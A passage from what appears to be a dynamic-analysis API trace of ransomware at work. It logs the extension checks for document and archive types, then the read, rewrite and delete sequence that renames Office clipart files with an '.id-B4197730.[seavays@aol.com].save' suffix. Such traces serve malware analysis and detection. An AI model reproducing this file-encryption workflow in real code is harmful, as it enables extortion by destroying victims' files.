lpString2=".WMF") returned -1 [0193.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF") returned 68 [0193.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF") returned 68 [0193.113] lstrlenW (lpString=".doc") returned 4 [0193.113] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.113] lstrlenW (lpString=".docx") returned 5 [0193.113] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0193.113] lstrlenW (lpString=".pdf") returned 4 [0193.113] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.113] lstrlenW (lpString=".xls") returned 4 [0193.113] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.113] lstrlenW (lpString=".xlsx") returned 5 [0193.113] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0193.113] lstrlenW (lpString=".ppt") returned 4 [0193.114] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF") returned 68 [0193.114] lstrlenW (lpString=".zip") returned 4 [0193.114] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.114] lstrlenW (lpString=".rar") returned 4 [0193.114] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.114] lstrlenW (lpString=".bz2") returned 4 [0193.114] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.114] lstrlenW (lpString=".7z") returned 3 [0193.114] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF") returned 68 [0193.114] lstrlenW (lpString=".dbf") returned 4 [0193.114] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF") returned 68 [0193.114] lstrlenW (lpString=".1cd") returned 4 [0193.114] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186346.WMF") returned 68 [0193.114] lstrlenW (lpString=".jpg") returned 4 [0193.114] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.114] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0193.115] lstrlenW (lpString="J0187837.WMF") returned 12 [0193.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187837.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0193.117] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=16354) returned 1 [0193.117] CloseHandle (hObject=0x344) returned 1 [0193.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187837.wmf")) returned 0x220 [0193.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187837.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0193.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187837.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0193.118] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0193.118] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0193.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187837.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0193.119] GetLastError () returned 0x0 [0193.119] ReadFile (in: hFile=0x344, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x3fe2, lpOverlapped=0x0) returned 1 [0193.121] WriteFile (in: hFile=0x370, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x3ff0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x3ff0, lpOverlapped=0x0) returned 1 [0193.123] ReadFile (in: hFile=0x344, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0193.123] WriteFile (in: hFile=0x370, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0193.123] SetEndOfFile (hFile=0x370) returned 1 [0193.123] CloseHandle (hObject=0x370) returned 1 [0193.123] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0193.123] SetEndOfFile (hFile=0x344) returned 1 [0193.127] CloseHandle (hObject=0x344) returned 1 [0193.127] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0193.127] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187837.wmf")) returned 1 [0193.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF") returned 68 [0193.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF") returned 68 [0193.129] lstrlenW (lpString=".doc") returned 4 [0193.129] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.129] lstrlenW (lpString=".docx") returned 5 [0193.129] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0193.129] lstrlenW (lpString=".pdf") returned 4 [0193.129] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.129] lstrlenW (lpString=".xls") returned 4 [0193.129] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.129] lstrlenW (lpString=".xlsx") returned 5 [0193.129] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0193.129] lstrlenW (lpString=".ppt") returned 4 [0193.129] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF") returned 68 [0193.129] lstrlenW (lpString=".zip") returned 4 [0193.129] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.129] lstrlenW (lpString=".rar") returned 4 [0193.129] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.129] lstrlenW (lpString=".bz2") returned 4 [0193.129] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.129] lstrlenW (lpString=".7z") returned 3 [0193.129] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF") returned 68 [0193.129] lstrlenW (lpString=".dbf") returned 4 [0193.129] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF") returned 68 [0193.129] lstrlenW (lpString=".1cd") returned 4 [0193.129] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF") returned 68 [0193.130] lstrlenW (lpString=".jpg") returned 4 [0193.130] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF") returned 68 [0193.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF") returned 68 [0193.130] lstrlenW (lpString=".doc") returned 4 [0193.130] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.130] lstrlenW (lpString=".docx") returned 5 [0193.130] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0193.130] lstrlenW (lpString=".pdf") returned 4 [0193.130] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.130] lstrlenW (lpString=".xls") returned 4 [0193.130] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.130] lstrlenW (lpString=".xlsx") returned 5 [0193.130] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0193.130] lstrlenW (lpString=".ppt") returned 4 [0193.130] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF") returned 68 [0193.130] lstrlenW (lpString=".zip") returned 4 [0193.130] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.130] lstrlenW (lpString=".rar") returned 4 [0193.130] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.130] lstrlenW (lpString=".bz2") returned 4 [0193.130] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.130] lstrlenW (lpString=".7z") returned 3 [0193.130] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF") returned 68 [0193.130] lstrlenW (lpString=".dbf") returned 4 [0193.130] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF") returned 68 [0193.131] lstrlenW (lpString=".1cd") returned 4 [0193.131] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187837.WMF") returned 68 [0193.273] lstrlenW (lpString=".jpg") returned 4 [0193.273] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.273] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0193.273] lstrlenW (lpString="J0187849.WMF") returned 12 [0193.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187849.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0193.572] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=7572) returned 1 [0193.572] CloseHandle (hObject=0x538) returned 1 [0193.572] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187849.wmf")) returned 0x220 [0193.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187849.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0193.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187849.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0193.759] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0193.759] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0193.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187849.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0193.760] GetLastError () returned 0x0 [0193.761] ReadFile (in: hFile=0x538, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x1d94, lpOverlapped=0x0) returned 1 [0193.762] WriteFile (in: hFile=0x44c, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x1da0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x1da0, lpOverlapped=0x0) returned 1 [0193.763] ReadFile (in: hFile=0x538, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0193.763] WriteFile (in: hFile=0x44c, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0193.763] SetEndOfFile (hFile=0x44c) returned 1 [0193.764] CloseHandle (hObject=0x44c) returned 1 [0193.764] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0193.764] SetEndOfFile (hFile=0x538) returned 1 [0193.767] CloseHandle (hObject=0x538) returned 1 [0193.767] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0193.767] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187849.wmf")) returned 1 [0193.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF") returned 68 [0193.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF") returned 68 [0193.768] lstrlenW (lpString=".doc") returned 4 [0193.768] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.769] lstrlenW (lpString=".docx") returned 5 [0193.769] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0193.769] lstrlenW (lpString=".pdf") returned 4 [0193.769] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.769] lstrlenW (lpString=".xls") returned 4 [0193.769] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.769] lstrlenW (lpString=".xlsx") returned 5 [0193.769] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0193.769] lstrlenW (lpString=".ppt") returned 4 [0193.769] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF") returned 68 [0193.769] lstrlenW (lpString=".zip") returned 4 [0193.769] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.769] lstrlenW (lpString=".rar") returned 4 [0193.769] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.770] lstrlenW (lpString=".bz2") returned 4 [0193.770] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.770] lstrlenW (lpString=".7z") returned 3 [0193.770] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF") returned 68 [0193.770] lstrlenW (lpString=".dbf") returned 4 [0193.770] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF") returned 68 [0193.770] lstrlenW (lpString=".1cd") returned 4 [0193.770] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187849.WMF") returned 68 [0193.770] lstrlenW (lpString=".jpg") returned 4 [0193.770] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187895.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0193.772] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=3472) returned 1 [0193.772] CloseHandle (hObject=0x538) returned 1 [0193.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187895.wmf")) returned 0x220 [0193.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187895.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0193.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187895.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0193.773] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0193.773] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0193.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187895.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0193.774] GetLastError () returned 0x0 [0193.774] ReadFile (in: hFile=0x538, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0xd90, lpOverlapped=0x0) returned 1 [0193.776] WriteFile (in: hFile=0x44c, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xda0, lpOverlapped=0x0) returned 1 [0193.777] ReadFile (in: hFile=0x538, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0193.777] WriteFile (in: hFile=0x44c, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0193.777] SetEndOfFile (hFile=0x44c) returned 1 [0193.777] CloseHandle (hObject=0x44c) returned 1 [0193.777] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0193.778] SetEndOfFile (hFile=0x538) returned 1 [0193.780] CloseHandle (hObject=0x538) returned 1 [0193.780] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0193.781] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187895.wmf")) returned 1 [0193.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF") returned 68 [0193.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF") returned 68 [0193.782] lstrlenW (lpString=".doc") returned 4 [0193.782] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.782] lstrlenW (lpString=".docx") returned 5 [0193.782] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0193.782] lstrlenW (lpString=".pdf") returned 4 [0193.782] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.782] lstrlenW (lpString=".xls") returned 4 [0193.782] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.782] lstrlenW (lpString=".xlsx") returned 5 [0193.782] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0193.782] lstrlenW (lpString=".ppt") returned 4 [0193.782] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF") returned 68 [0193.782] lstrlenW (lpString=".zip") returned 4 [0193.782] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.782] lstrlenW (lpString=".rar") returned 4 [0193.782] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.782] lstrlenW (lpString=".bz2") returned 4 [0193.782] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.782] lstrlenW (lpString=".7z") returned 3 [0193.782] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF") returned 68 [0193.782] lstrlenW (lpString=".dbf") returned 4 [0193.782] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF") returned 68 [0193.782] lstrlenW (lpString=".1cd") returned 4 [0193.782] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187895.WMF") returned 68 [0193.783] lstrlenW (lpString=".jpg") returned 4 [0193.783] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187921.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0193.784] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=5000) returned 1 [0193.784] CloseHandle (hObject=0x538) returned 1 [0193.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187921.wmf")) returned 0x220 [0193.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187921.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0193.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187921.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0193.785] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0193.785] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0193.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187921.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187921.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0193.786] GetLastError () returned 0x0 [0193.786] ReadFile (in: hFile=0x538, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x1388, lpOverlapped=0x0) returned 1 [0193.788] WriteFile (in: hFile=0x44c, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x1390, lpOverlapped=0x0) returned 1 [0193.789] ReadFile (in: hFile=0x538, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0193.789] WriteFile (in: hFile=0x44c, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, 